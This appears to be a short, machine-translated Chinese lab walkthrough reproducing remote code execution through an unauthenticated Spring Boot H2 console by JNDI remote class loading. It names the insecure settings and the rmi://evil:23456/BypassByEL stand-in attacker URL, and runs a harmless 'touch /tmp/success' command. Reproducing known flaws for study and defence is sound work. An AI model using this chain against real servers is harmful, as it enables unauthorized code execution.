原因
H2 数据库是 Java 中的嵌入式内存数据库。带有 h2 数据库的 Springboot 带有一个 web 管理页面,如果您设置以下选项,则该页面没有身份验证:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
该管理页面支持使用JNDI加载JDBC驱动,可以通过远程类加载实现远程代码执行。
spring-boot正在监听http://your-ip:8080,默认管理页面http://your-ip:8080/h2-console/。
复现
使用此工具JNDI即可利用该漏洞。首先,将目标命令设置为touch /tmp/successat config.properties:
然后启动JNDI-1.0-all.jar,就是会听的0.0.0.0:23456。根据这些信息填写表格:

javax.naming.InitialContext是 JNDI 工厂类名,URLrmi://evil:23456/BypassByEL是你的 RMI 地址。
RMI 服务器收到请求:

touch /tmp/success已成功执行:
